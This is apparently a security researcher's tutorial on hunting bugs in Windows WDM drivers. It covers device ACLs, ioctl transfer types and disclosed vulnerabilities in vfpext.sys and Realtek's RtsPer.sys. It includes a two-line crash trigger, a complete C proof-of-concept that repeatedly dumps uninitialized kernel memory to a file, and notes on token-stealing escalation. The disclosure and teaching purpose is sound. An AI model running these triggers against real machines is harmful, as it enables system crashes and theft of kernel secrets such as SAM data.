Know About WDM?
Windows Driver Model (WDM) is the oldest and still the most-used
driver framework. Every driver is essentially a WDM driver; the newer
framework Windows Driver Framework (WDF) encapsulates WDM, simplifies
the development process and deals with WDM’s multiple technical
difficulties. The primary thing we care about while inspecting WDM
drivers is how we can communicate with them; almost every bug in drivers
involves some communication from an unprivileged user to the driver
itself.
We start at the beginning, which in our case, is the entry point of our driver named “testy”:
DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
UNICODE_STRING DeviceName, SymbolicLink,sddlString;
PDEVICE_OBJECT deviceObject;
RtlInitUnicodeString(&DeviceName, L"\\Device\\testydrv");
RtlInitUnicodeString(&SymbolicLink, L"\\DosDevices\\testydrv");
RtlInitUnicodeString(&sddlString, L"D:P(A;;GA;;;SY)(A;;GA;;;BA)");
UNREFERENCED_PARAMETER(RegistryPath);
//Create a device
IoCreateDevice(DriverObject, 65535, &DeviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, &deviceObject);
//IoCreateDeviceSecure(DriverObject, , &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &sddlString, NULL, &deviceObject);
//Create a symbolic so the user can access the device
IoCreateSymbolicLink(&SymbolicLink, &DeviceName);
//Populating Driver's object dispatch table
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = TestyDispatchIoctl;
DriverObject->MajorFunction[IRP_MJ_INTERNAL_DEVICE_CONTROL] = TestyInternalDispatchIoctl;
DriverObject->MajorFunction[IRP_MJ_CREATE] = TestyDispatchCreate;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = TestyDispatchClose;
DriverObject->MajorFunction[IRP_MJ_READ] = TestyDispatchRead;
DriverObject->MajorFunction[IRP_MJ_WRITE] = TestyDispatchWrite;
DriverObject->MajorFunction[IRP_MJ_CLEANUP] = TestyDispatchCleanup;
DriverObject->DriverUnload = TestyUnloadDriver;
return STATUS_SUCCESS;
}
This code is an ordinary skeleton of the DriverEntry function that every WDM driver has. The first parameter is the DriverObject structure pointer used in device creation and dispatch routine initialization. Next, the driver has the MajorFunction member,
which is a function pointer array used to assign dispatch routines for
different events. Additionally, we have the critical device creation
routines that we cover in the next section.
Device Creation and Initialization
As we said, the driver starts with creating a device by calling IoCreateDevice; this will create a DEVICE_OBJECT in
the Object Manager. In Windows, a device object represents a logical,
virtual or physical device for which a driver handles I/O requests. All
of that sounds good, but it is not enough if we want it to communicate
from a regular user standpoint; for this, we call IoCreateSymbolicLink that
will create a DoS device name in the Object Manager that enables the
user to communicate with the driver via the device. Some devices,
however, don’t have normal names; they have autogenerated names (done
in PDOs).
They might look odd to the inexperienced bug hunter, so if you see
them at first in your favorite device, view software and see the 8-hex
in the device name column. These devices can interact like every other
named device.
The most important things to note in the device creation routine are
if the programmer assigned an ACL to the device and the value of DeviceCharacteristics.
Unfortunately, the IoCreateDevice method doesn’t allow the
programmer to specify any ACL whatsoever, which is not good. As a
result, the developer must define an ACL in the registry or the ini file
of the driver. If they fail to do so, any user can access the device.
Using the IoCreateDeviceSecure method, however, would mitigate that.
Besides that, we need to look at the fifth argument, which is DeviceCharacteristics . If the value of DeviceCharacteristics isn’t ORed with 0x00000100, FILE_DEVICE_SECURE_OPEN,
here we likely face a security vulnerability (unless we talk about file
system drivers or any that support name structure). The reason
behind this is the way Windows treats devices; every device has its very
own namespace. Names in the device’s namespace are paths that begin
with the device’s name. For a device named \Device\DeviceName, its namespace consists of any name of the form “\Device\DeviceName\anyfile.”
A call IoCreateDevice without the FILE_DEVICE_SECURE_OPEN flag
as in figure 1 means that the device ACL is not applied to open file
requests of files inside the device namespace. In other words, even if
we specify a strong ACL when creating the device via IoCreateDeviceSecure or
other means, then the ACL is not applied to the open file requests. As a
result, we don’t really get what we wanted — a call to CreateFile with
\Device\testydrv would fail, but a call with “\device\testydrv\anyfile”
will succeed because the IoManager doesn’t apply the device ACL to the
create request (as it assumes it is a file system driver). For starters,
it is considered to be a bug that is worthy of a fix. Also, this will
lead non-admin users to try to read/write into the device, perform DeviceIoControl requests and more, which normally is a thing you don’t want non-admin users doing.
You Better User Protection
We can eliminate the threats of unwanted users from straightforwardly interacting with our devices, calling IoCreateDeviceSecure (or WdmlibIoCreateDeviceSecure;
it’s the same function) with a Security Descriptor that prevents
non-admin users from opening a handle to the device and by using the FILE_DEVICE_SECURE_OPEN value
in the creation routine. This will also save us the hassle of declaring
the device’s permissions in the registry, as we would need in IoCreateDevice.
RtlInitUnicodeString(&sddlString, L"D:P(A;;GA;;;SY)(A;;GA;;;BA)");
IoCreateDeviceSecure(DriverObject, 65535, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &sddlString, NULL, &deviceObject);
From a bug hunting standpoint, we should enumerate every possible
device in the system, followed by trying to open it with GENERIC_READ |
GENERIC_WRITE, which allows us to filter out devices we can’t
communicate with. We will revisit this in our second part.
Dispatch Methods
Creating devices is nice and all, but, of course, it isn’t enough for you to communicate with the driver. For that you need IRPs. The driver receives IRPs,
I/O Request Packets on behalf of the IoManager for specific triggers.
For instance, if an application tries to open a handle to a device, the
IoManager will invoke the relevant dispatch method assigned to the
driver object. Thus, it allows every driver to support multiple
different MajorFunctions for every device it creates. There are around 30 different MajorFunction. If you count the deprecated IRP_MJ_PNP_POWER,
each represents a different event. We will focus on only two of these
MajorFunction methods and add a short description about the rest, which
are the places we should look after while bug hunting.
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = TestyDispatchIoctl;
DriverObject->MajorFunction[IRP_MJ_INTERNAL_DEVICE_CONTROL] = TestyInternalDispatchIoctl;
DriverObject->MajorFunction[IRP_MJ_CREATE] = TestyDispatchCreate;
sDriverObject->MajorFunction[IRP_MJ_CLOSE] = TestyDispatchClose;
DriverObject->MajorFunction[IRP_MJ_READ] = TestyDispatchRead;
DriverObject->MajorFunction[IRP_MJ_WRITE] = TestyDispatchWrite;
DriverObject->MajorFunction[IRP_MJ_CLEANUP] = TestyDispatchCleanup;
Before we dive into the juiciest target, which is the IRP_MJ_DEVICE_CONTROL, we will start with IRP_MJ_CREATE. Every kernel- mode driver must handle IRP_MJ_CREATE in the driver dispatch callback function. The driver must implement IRP_MJ_CREATE because without that, you could not open a handle to the device or a file object.
As you probably guessed, the IRP_MJ_CREATE dispatch routine is invoked when you call NtCreateFile or ZwCreateFile. On most occasions, it will be an empty stub and return a handle with the asked DesiredAccess based on the device’s ACL.
NTSTATUS TestyDispatchCreate(PDEVICE_OBJECT DeviceObject, PIRP irp){
irp->IoStatus.Status = 0;
irp->IoStatus.Information = 0;
IofCompleteRequest(irp, 0);
return 0;
}
However, in some cases, more complex code is involved — even if you
met the device’s ACL criteria, you might get a status error like STATUS_INVALID_PARAMETER because you use incorrect parameters in the call to NtCreateFile.
Unfortunately, it indicates you can’t open a device blindly and hope to communicate with the driver via DeviceIoControl; you first need to understand its expected parameters. Usually, the DispatchCreate expects some ExtendedAttributes (can’t
use regular CreateFile for that) or specific file name (besides the
device name) alongside some other quarks and gluons. Therefore, we must
visit the DispatchCreate method
Shows
a check to see if there is an extended attribute named “StorVsp-v2” and
that the length of the value field is 0x19 bytes long. Thus, the driver
is StorVsp.sys
Besides opening a handle, you can also look for vulnerabilities in the DispatchCreate.
The more complex the function becomes, the higher the chances of memory
allocation and deallocation bugs, especially because the DispatchCreate is not often inspected.
The general approach we take while looking for bugs in drivers is:
- Enumerate every device object
- Try to open it with the most permissive DesiredAccess
- In case of failure, check the status code; if it is not STATUS_ACCESS_DENIED, you can probably still open the handle by doing some manual work and changing some of the parameters
By following this simple algorithm, we will have a list of around 70
devices that we can talk to from a non-admin standpoint. Of course, this
number will vary across different Windows machines, since OEM drivers
and many types of software also install drivers.
Control the Device with ioctls
While rarely giving you full control over the device/driver, ioctls
is de facto the way an application should communicate with a driver.
There are two ioctl dispatch routines a driver can create:
// User-Mode application DeviceIoControl, NtDeviceIoControlFile
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = TestyDispatchIoctl;
// Kernel-Mode driver ZwDeviceIoControlFile or the bad IoBuildDeviceIoControlRequest
DriverObject->MajorFunction[IRP_MJ_INTERNAL_DEVICE_CONTROL] = TestyInternalDispatchIoctl;
The only method that matters is TestyDispatchIoctl, since we can’t initiate a call to either IoBuildDeviceIoControlRequest or IIoAllocateIrp with arbitrary parameters, which are the function that trigger the IRP_MJ_INTERNAL_DEVICE_CONTROL major function. If so, please tell me because the internal dispatch method seldom goes through proper testing.
As with any dispatch method of the DriverObject, it receives two parameters from the IoManager.
NTSTATUS TestyDispatchIoctl(PDEVICE_OBJECT DeviceObject, PIRP IRP)
The first is the device object we performed the CreateFile operation on, and the second is a pointer to IRP. The IRP encapsulates
the user data and many other things we don’t really care about from a
vulnerability research perspective. The main thing we care about here is
which parameters are sent from user mode. If we take a look at the
signature of NtDeviceIoControlFile, we can guess which fields we care about while looking for bugs in drivers:
BOOL DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
);
The main suspects in this method are the input/output buffers, their
lengths and the Ioctl code itself. We start with the Ioctl code, which
is a 32-bit number that acts as a specifier; it describes how the
buffers and the lengths are used/copied to the kernel, the needed DesiredAccess (when you opened a handle to the device) and a function indicator. Let’s see an example:
an image of the FileTest.exe tool, showing the bitfields of the 32 Ioctl number
We can see the ioctl code is 0x1000, which translates to:
- DeviceType: FileDevice_0 → It’s not relevant for us.
- Function: 0 → It’s not relevant for us.
- Method: METHOD_NEITHER → It’s relevant for us, as it describes how IoManager transfers this data to the kernel; more about it shortly
- Access: FILE_ANY_ACCESS →
It’s relevant for us, as it defines the desired access you need to have
over the handle. If you don’t have the correct access, then the
IoManager won’t allow the call to take place and return you
AccessDenied. There are four different values:
- FILE_ANY_ACCESS: You always have a handle to the device, regardless of the DesiredAccess argument.
- FILE_READ_DATA: You requested a handle with GENERIC_READ and got a valid handle
- FILE_WRITE_DATA: You requested a handle with GENERIC_WRITE and got a valid handle FILE_READ_DATA | FILE_WRITE_DATA: Self-explanatory; you need both rights.
Running this DeviceIoControl request on the handle of \Device\VfpExt would cause a BSoD, regardless of your privilege level; we will see why after understanding the field Method.
Method/TransferType, Mother of All Evils
Method/TransferType, Mother of All Evils. This sounds bombastic at
first, but unfortunately, it is indeed the case. The method of transport
type, the two least significant bits in the ioctl 32 bit-number,
indicates the way parameters (buffers and lengths) are referenced in the
kernel by the IoManager. As with the Access field, there are four
different options:
- (1) METHOD_NEITHER, both bits are on: The IoManager is
lazy and does no checks on the buffers and their lengths. The buffers
are not copied to the driver and reside in user-mode. Therefore, the
user can manipulate the buffers’ lengths and free/allocate their pages
at wish, causing many bad things — system crashes and privilege
escalation — unless the buffers are probed properly. If you see a driver that does not probe the buffers and uses METHOD_NEITHER, it is safe to assume you have a major security hole in front of you.
- (2) METHOD_BUFFERED,
none of the bits are on: The IoManager copies the input/output buffers
and their length to the kernel, making it vastly more secure as the user
cannot page out the buffers or change their content and lengths on a
whim. After that, the input/output buffer pointer is assigned to the IRP.
- (3) METHOD_IN_DIRECT and (4) METHOD_OUT_DIRECT one of the two bits are on: These two are quite similar; the IoManager allocates the input buffer as in METHOD_BUFFERED.
For the output buffer, the IoManager probes the buffer and checks if
the virtual address is writeable\readable in the current access mode.
Then, it locks the memory pages and passes a pointer to the IRP.
Let’s see how a driver might access the user mode buffers and look at
a quick vulnerability that demonstrates the issue of not doing proper
security checks in drivers.
METHOD_NEITHER: Ioctl code translated to binary ends with 11
Input buffer: irp->Parameters.DeviceIoControl.Type3InputBuffer
Output buffer: irp->UserBuffer
METHOD_DIRECT: Ioctl code translated to binary ends with either 01 or 11
Input buffer: irp->AssociatedIrp.SystemBuffer
Output buffer: irp->MdlAddress
METHOD_BUFFERED: Ioctl code translated to binary ends with 00
Input & Output buffer IRP->AssociatedIrp.SystemBuffer
As a driver can support multiple ioctl codes normally, it has a large
switch case for every different ioctl code, affecting where the buffers
are stored in memory. In the next section, we will see what happens if
we don’t notice.
Blue Screen Goes Boom
In short, our first example of a real bug lies in the Microsoft Azure VFP Extension or vfpext.sys.
The story begins in the driver’s ioctl dispatch function. After some
variable initialization, it calls a method to validate user-mode
parameters followed by some inner logic. We care not.
NTSTATUS __fastcall SxStartDeviceIoControl(PIRP IRP, _WORD *a2, _WORD *a3, _QWORD *a4, int *a5, __int64 a6, __int64 a7)
{
_IO_STACK_LOCATION *CurrentStackLocation; // rdi
bool IsInputBufferBelowLimit; // cf
NTSTATUS result; // eax
BYTE *SystemBuffer; // rbx
int v14; // ecx
__int128 v15; // [rsp+20h] [rbp-28h] BYREF
__int128 v16; // [rsp+30h] [rbp-18h] BYREF
CurrentStackLocation = IRP->Tail.Overlay.CurrentStackLocation;
IRP->IoStatus.Information = 0i64;
IsInputBufferBelowLimit = CurrentStackLocation->Parameters.Create.Options < 0x218; v15 = 0i64; v16 = 0i64; if ( IsInputBufferBelowLimit ) return -1073741811; SystemBuffer = (BYTE *)IRP->AssociatedIrp.SystemBuffer;
result = SxInitUnicodeStringSafe((__int64)&v16, (const wchar_t *)SystemBuffer + 8, 0x100u);
if ( result >= 0 )
{
result = SxInitUnicodeStringSafe((__int64)&v15, (const wchar_t *)SystemBuffer + 0x88, 0x100u);
if ( result >= 0 )
{
*a2 = *((_WORD *)SystemBuffer + 265);
*a3 = *((_WORD *)SystemBuffer + 264);
v14 = CurrentStackLocation->Parameters.Create.Options - 0x218;
*a4 = SystemBuffer + 536;
*a5 = v14;
return SxFindContextByName(&v16, &v15, (PVOID **)a6, (_QWORD *)a7);
}
}
All we really have here is a simple code that does the following:
- Get a pointer to the CurrentStackLocation from the macro IoGetCurrentIrpStackLocation (IRP))
- Verify that buffer length exceeds 0x218
- Create some Unicode strings in a safe way
- Do a look-up operation by calling SxFindContextByName, which we don’t care about
The problem is that in no place does the driver check what the given ioctl IRP->AssociatedIrp is. For example, SystemBuffer is a valid address; it assumes the address of the buffer is valid.
However, looking back at Figure 4, we can assume the driver expects to get an ioctl code with TransferType of either
METHOD_BUFFER or METHOD_IN_DIRECT or METHOD_OUT_DIRECT, as it reads the input buffer from IRP->AssociatedIrp.SystemBuffer.
But, if it is METHOD_NEITHER, then IRP->AssociatedIrp.SystemBuffer means nothing to the IoManager, and it sets it set to zero because it populates IRP->Parameters.DeviceIoControl.Type3InputBuffer instead.
Next, there is a call to SxInitUnicodeStringSafe , which I think is supposed to be a safer version of the kernelic method RtlInitUnicodeString; the second parameter is the SystemBuffer+8 that is the source string.
NTSTATUS __fastcall SxInitUnicodeStringSafe(__int64 Dest, const wchar_t *SystemBuffer, unsigned __int16 a3)
{
__int64 v5; // r11
NTSTATUS result; // eax
size_t v7; // [rsp+38h] [rbp+10h] BYREF
v7 = 0i64;
v5 = Dest;
if ( SystemBuffer )
{
result = RtlStringCbLengthW(SystemBuffer, a3, &v7);
if ( !result )
{
*(_WORD *)v5 = v7;
result = 0;
*(_WORD *)(v5 + 2) = a3;
*(_QWORD *)(v5 + 8) = SystemBuffer;
return result;
}
}
else
{
result = 0;
}
*(_DWORD *)v5 = 0;
*(_QWORD *)(v5 + 8) = 0i64;
return result;
}
SxInitUnicodeStringSafe function decompiled by Ida Pro, receives SystemBuffer, which can point to an invalid memory
So, the address of SystemBuffer address will be 0x10 = (0x0+sizeof(wchar_t *)+8). Hence, on the call to RtlStringCbLengthW,
which as the name states, calculates the length, will use the system
buffer that points to an invalid address. It contains the code:
for ( i = length; i; --i )
{
if ( !*SystemBuffer )
break;
++SystemBuffer;
}
Here the pointer dereference takes place
When the *SystemBuffer dereferencing happens, you dereferenced an invalid address, and the kernel is not forgiving about the null pointer.
just a blue screen, triggered by the vulnerability
This bug check only requires two lines of code to trigger:
HANDLE hDevice = CreateFile (DEVICE_NAME, NULL, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DeviceIoControl(hDevice, 3, NULL, 0x512, NULL, 0x512, NULL, NULL);
In this case, our bug is not exploitable, except by a DoS from a
limited user. This bug can also be triggered by a restricted user and in
an application sandbox, as well because there is no protection over the
device whatsoever. Hence, everyone can get a handle and BSoD. To this
day, this vulnerability has not been patched; MSRC response was, “We
have completed our investigation and determined that this report is a
moderate severity denial of service vulnerability, which unfortunately
means that it does not meet our bar for servicing in a security update,
and I will be closing this case.” Microsoft’s answer is quite amusing,
as it is not just a regular DoS but a system DoS. From a CVSS
standpoint, it should be
7.3: https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H .
And besides that, the fix is pretty simple; check the ioctl code before
using it blindly, which will lead to correct usage of IRP‘s buffers.
Leak Me Some Memory
After having fun with Denial-of-Service attacks, we should proceed to
a special, stealthy vulnerability class. Information leakage is the
disclosure of kernelic memory to the user-mode. It doesn’t trigger a bug
check or any exception, so it is quite difficult to find during the
regular pipeline of driver development. You also can’t find it via
driver verifier, in contrast to regular memory pool bugs.
Since Windows Vista, Microsoft introduced mitigation called KASLR,
making Windows kernel exploitation very challenging. KASLR is the
kernelic ASLR, which randomizes drivers, modules, kernelic objects base
address on boot. By doing such, you couldn’t abuse arbitrary write
primitive as you would in the old days. Back then, you could find an
address that would be called by the kernel like HalDispatchTable,
followed by placement of a malicious shellcode that would do token
stealing that could, for instance, be triggered by a user-mode process.
Thus, having arbitrary write was enough for code execution, or you could
cancel SMEP for the record.
Nowadays, when the addresses are randomized, one does not know where to assign the shellcode, as the HalDispatchTable is randomized with each boot.
Exploit writers got smarter and pretty quickly understood that you can call NtQuerySystemInformation or EnumDeviceDrivers to
get the base address of ntoskrnl. From that, we bypass KASLR, making
arbitrary write enough for LPE. But, of course, one can call these APIs
only if the controlled process is of medium integrity, which most processes are; browsers are not. Besides that, overwriting the HalDisptachTable with PageEntry corruption is null and void because of new mitigations such as HVCI, which are still not the default on most Windows machines.
Alternatively, one might be able to read data directly from the System process. For example, one might read the SAM file,
which is fully loaded into memory. Now, suppose you can extract it from
memory. In that case, you can probably crack the hash and find the
administrator password, allowing you to achieve full privilege
escalation stealthily. Since you don’t really touch the disk, no anti-
virus will be triggered.
So what does an info leak look like? It is mostly in the form of
getting a kernel pointer of some sensitive kernelic object, but it can
also look like disclosing uninitialized kernel memory, like in RtsPer.sys Realtek driver:
DisptachIoctlFDO (PDEVICE_OBJECT Device_Object, IRP *IRP)
{
case 0x2D2324u:
NTStatus2 = rts_ctrl_dump_paras_string(Device_Object, IRP);
...
__int64 __fastcall rts_ctrl_dump_mem_log(PDEVICE_OBJECT Device_Object, PIRP irp)
{
_IO_STACK_LOCATION *CurrentStackLocation; // rbx
PVOID Device_Extension; // rbp
BYTE SystemBuffer; // si
__int64 InputBufferLength; // r9
ULONG OutputBufferLength; // [rsp+50h] [rbp+8h] BYREF
CurrentStackLocation = irp->Tail.Overlay.CurrentStackLocation;
Device_Extension = Device_Object->DeviceExtension;
irp->IoStatus.Information = 0i64;
SystemBuffer = (BYTE *)irp->AssociatedIrp.SystemBuffer;
InputBufferLength = CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength;
OutputBufferLength = CurrentStackLocation->Parameters.DeviceIoControl.OutputBufferLength;
if ( OutputBufferLength >= 0x107C0 && *(_QWORD *)&SystemBuffer )
{
rts_dump_paras_as_string((__int64)Device_Extension, *(_BYTE **)&SystemBuffer, &OutputBufferLength);// Read&Write memory, disable PCIs
IRP->IoStatus.Information = OutputBufferLength;
return 0i64;
}
else
{
IRP->IoStatus.Information = 0x107C0i64;
return 0x80000005i64;
}
}
}
rts_ctrl_dump_mem_log contains a serious information leakage error
At first glance, the code provided here seems solid; the driver uses METHOD_BUFFERED (because
it ends with 00) for transferring data, so user data can’t make
page-out its buffers; the buffer lengths are to be trusted (see Figure
11 and above).However, even when using METHOD_BUFFERED, it doesn’t make the code error free; it might lead to a false sense of security.
The easiest way to look for information leakage vulnerabilities is by
looking at which data is returned and its length. Since we are dealing
with METHOD_BUFFERED, the returned data is via SystemBuffer, and IRP->IoStatus.Information specifies
the size (not only for this transfer type). The troubling part is that
the IoManager doesn’t initialize the System buffer beyond the copy of
the input buffer; in other words, if OutputBufferLength > InputBufferLength, the remainder of the SystemBuffer is
uninitialized data. Thus, it is the job of the driver writer to
initialize the system buffer and return the correct length of it.
In our case, Figure16, the SystemBuffer, is not being
initialized with zeros. We have no checks regarding the input/output
buffer lengths, which we have full control over. Also, by looking at the
else block, we can inspect a faulty logic:
IRP->IoStatus.Information = 0x107C0i64;
incorrect buffer size assignment
It turns out that by entering the else block, you get back from the
kernel 0x107c0 bytes length of kernel data. To be more precise, the
IoManager copied the delta between the OutputBufferLength and the
InputBufferLength:
OutBufferLength = 0x107c0, InputBufferLength = 1
Therefore, we get back 0x107c0, around 64k of uninitialized data from
the memory space of the System process, allowing you to read the
content of the SAM file, find the system’s kernel base address
and much more. Moreover, you can trigger this behavior as many times as
you wish, since it does not raise exceptions.
The exploit code is pretty trivial; the only concern we might have is
finding the device name, as it is an autogenerated number (but you can
brute-force it as there are only around 0x200 options and similar to how
it is shown in Figure 2. Our exploit code consists of the following:
- Open a handle to the device that RtsPer.sys exposes
- Allocate a buffer in the size of 0x107c0
- Call DeviceIoControl
- Write kernel data to a file
#include
#include
//device name would very so if you want to execute this code I would use DeviceTree
// made by OSR and look for the device name under RtsPer.sys
#define DEVICE_NAME L"\\\\.\\GlobalRoot\\Device\\00000066"
int main(int argc, TCHAR* argv)
{
LPVOID inputBuffer;
LPVOID outputBuffer;
HANDLE hDevice;
DWORD dwBytesReturned = 0;
DWORD dwNtStatus = 0;
DWORD dwFunctionCode = 0x2D2324;
DWORD dwSize = 0x107C0;
hDevice = CreateFile(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
std::cout << "Error opeining the device, it's autogenerated after all, try to look for the name again" << std::endl;
exit(1);
}
std::cout << "Opened a handle to the device" << std::endl;
outputBuffer = malloc(dwSize);
inputBuffer= malloc(dwSize);
HANDLE hFile = CreateFile(L"a.bin", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
//Read as many as you like :)
for(DWORD i=0; i < 1000000; i++)
{
memset(outputBuffer, 0x00, 0x107C0);
memset(inputBuffer, 0x00, 0x107C0);
dwNtStatus = DeviceIoControl(hDevice, dwFunctionCode, inputBuffer, 1, outputBuffer, 2, &dwBytesReturned , NULL);
if (dwBytesReturned || dwNtStatus )
WriteFile(hFile, outputBuffer, dwBytesReturned , &dwNtStatus , NULL);
dwNtStatus = 0;
dwBytesReturned = 0;
}
CloseHandle(hDevice);
CloseHandle(hFile);
free(inputBuffer);
free(outputBuffer);
return 0;
}
A short code to abuse the info leak in RtsPer.sys
This is only one of the many vulnerabilities we discovered in this driver that RealTek recently patched.
As you look at this, it seems that these vulnerabilities are easy to
detect and relatively easy to fix — all you need to do is to change the IRP->IoStatus.Information
to zero in the else block. Also, you might prevent all of these bugs by
altering the device’s permissions, allowing only admin users and above
to interact with it. We got CVE-2021-40328 and CVE-2021-40332 for the bugs in this driver.
The third type of bug we would take a look at would lead to full
privilege escalation unless it is executed from a low-integrity process .
A better and often more useful bug to find in the kernel is arbitrary
write. This primitive allows you to write anywhere in the kernel, which
presumably would let you overwrite your access token.
If you don’t recall or are new to Windows OS, every process has a kernel counterpart object called an EPROCESS; every EPROCESS object
has an access token representing its security context. The System
process is de facto the kernel and naturally has the most powerful
access token in the operating system. As every EPROCESS resides in the kernel space, we can’t change the access token of the EPROCESS at
will; we must do it from the kernel itself. But suppose we have an
arbitrary write primitive? In that case, we can change any process’s
access token and replace it (kidnapping was the original term) with the
System’s process access token. This technique is known as a data-only
attack. In contrast to memory corruption techniques, we don’t corrupt
any page pool entries, which are susceptible to new mitigations such as
kCFG/HVCI/HyperGuard.
Assumptions Are Everything in Bug Hunting
Finding an arbitrary write vulnerability is great but not always
sufficient for full local-privilege escalation. As in anything in life,
it is based on your assumptions;
If HVCI is on:
- Regardless of your integrity level, arbitrary write in the
kernel is not enough for LPE; you also need a read primitive to enable
the right permissions in your token.
If HVCI is off:
- Integrity level is Medium (most common); one can invoke EnumDeviceDrivers and NtQuerySystemInformation to get the base address of the kernel, which should allow you with some page entry corruption to overwrite the HalDisptachTable/SMEP. That would be enough for LPE.
- Integrity
level is low or untrusted (mostly browsers) — you cannot call the APIs
mentioned above; therefore, no kernel base address for you. Must have an
additional primitive for LPE.
What does an arbitrary write vulnerability look like? Usually, it
involves a dereference of memory and copy operation from a controlled
buffer, and it can come in many flavors, from bad memcpy/memmove to just arbitrary pointer dereference. Let’s see a few of the more popular ones:
//the rsp+28h holds the input buffer
mov rax, [rsp+28h+var_4] //destination address
mov rcx, [rsp+28h+var_8] //source source
mov rcx, [rcx]
mov [rax], rcx
a vanilla arbitrary write example found in a driver we can’t comment on
Assuming our driver uses METHOD_NEITHER as the transfer type
and we see the input or output buffer loaded into a register, this is
an arbitrary pointer dereference. In here, both registers RAX and RCX are
pointing to user-mode buffer. Of course, you have full control over
their content, and you have prior knowledge of where they are located in
memory because you have created them. Since we have full control over
the registers, we can write to the memory address pointed by RAX ,a shellcode address pointed by RCX. In other words, we have a write-what-where type of vulnerability or arbitrary write.
Our mindset should be if we have METHOD_NEITHER transfer
type, when the buffers are being used, and in which way. A pattern as
such we have in Figure 19 is a bit rare but still pops from time to
time.
Pure Evil Functions
We can’t talk about arbitrary write vulnerabilities without
mentioning one key function that is often the source of it: incorrect
usage of either memcpy routine. The memcpy function or the macro that
driver developers use, RtlCopyMemory,
is unsafe by design. It does not deal with write over bounds or memory
overlap; the source or destination is on the same memory. There is a
function that deals with memory overlap, which is memmove or the macro RtlMoveMemory.
That still doesn’t solve the problem of out-of-bounds write. In
addition, every incorrect usage of one of its arguments would likely
impose a bug. Please take a look at J00ru’s excellent write-up about this topic, which demonstrates the subtleties in using move/copy functions.
Let’s examine an easy-to-see bug in a driver that shall be nameless:
faulty driver logic, looks bad
The decompiled code shown here is a bit misleading as Ida, which
usually makes our lives a lot easier and makes multiple mistakes in
distinguishing between structure members of IO_STACK_LOCATION in
the case they are unions. That leads to some confusion at first glance
for us. Let’s just ignore the bug that the ioctl 0x26DC03 presents,
incorrect usage with ProbeForRead,
without even using the buffer. Luckily, everyone who is familiar with
some kernel internals can see that things look quite odd:
// This is the input buffer length of method Buffered, should be
// CurrentIrpStackLocation->Parameters.DeviceIoControl.InputBufferLength
Length = CurrentIrpStackLocation->Parameters.Create.Options
// This has nothing to do with byte offset, it is the ioctl code, should be
// CurrentIrpStackLocation->Parameters.DeviceIoControl.IoControlCode
LowPart = CurrentIrpStackLocation->Parameters.Read.ByteOffset.LowPart
// v6 is union, {_IRP *MasterIrp;int IrpCount;void *SystemBuffer;}, because we are
// working with buffers, the driver of course users *SystemBuffer which is a structure in our case
v6.MasterIrp = (_IRP *)irp->AssociatedIrp
// This is a length field because it used in memmove
Length_4 = (unsigned int)v6.MasterIrp->MdlAddress
// First two arguments are buffers, destination and source,
// they are two fields in the structure indicated by SystemBuffer
memmove(*(void **)v7.MasterIrp, *(const void **)&v7.MasterIrp->Flags, Length_4a);
correcting the variable names and types
Classic Awful Bugs
To make it look better, we press ALT-Y to choose the proper field of the correct union member of the IO_STACK_LOCATION; let’s see what it looks like:
how ida should represent the decompile output of the dispatch function
After the changes, we can see the decompiled output looks like plain
C. We have a few calls to memmove, which is the first thing I would
recommend doing when looking at a dispatch function. It seems the SystemBuffer is
a structure consisting of source, size and destination fields, and they
are supplied blindly to memmove method, what I call security at its
best. These are the best/worst, depending on the perspectives you can
get.
We can see we have three calls to memmove; ioctl 0x26DC04 presents a
write everywhere of arbitrary content in the kernel. In contrast, ioctl
0x26FC08 allows to read from the kernel as it would later be assigned to
the SystemBuffer (not in Figure 22) and returned to the user.
All in all, this driver presents read/write everything functionality,
which allows attackers to escalate into a privileged account by the
system token. Of course, HVCI is not relevant in this case. The only
saving grace we have here is the fact this driver is not accessible from
normal user privilege levels, only from admin and above. Therefore, it
limits the usefulness for escalation purposes. However, malware might
still find this driver helpful. since it is a signed driver with
flexible kernelic primitive. That is a great reason not to disclose the
driver name in public.
Fixing this driver means rewriting the entire logic of the dispatch
routine. Instead of doing that, the vendor changed the ACL of the device
to prevent non-admin users from messing with it, and by doing so, it is
no longer a security boundary. So no need to fix it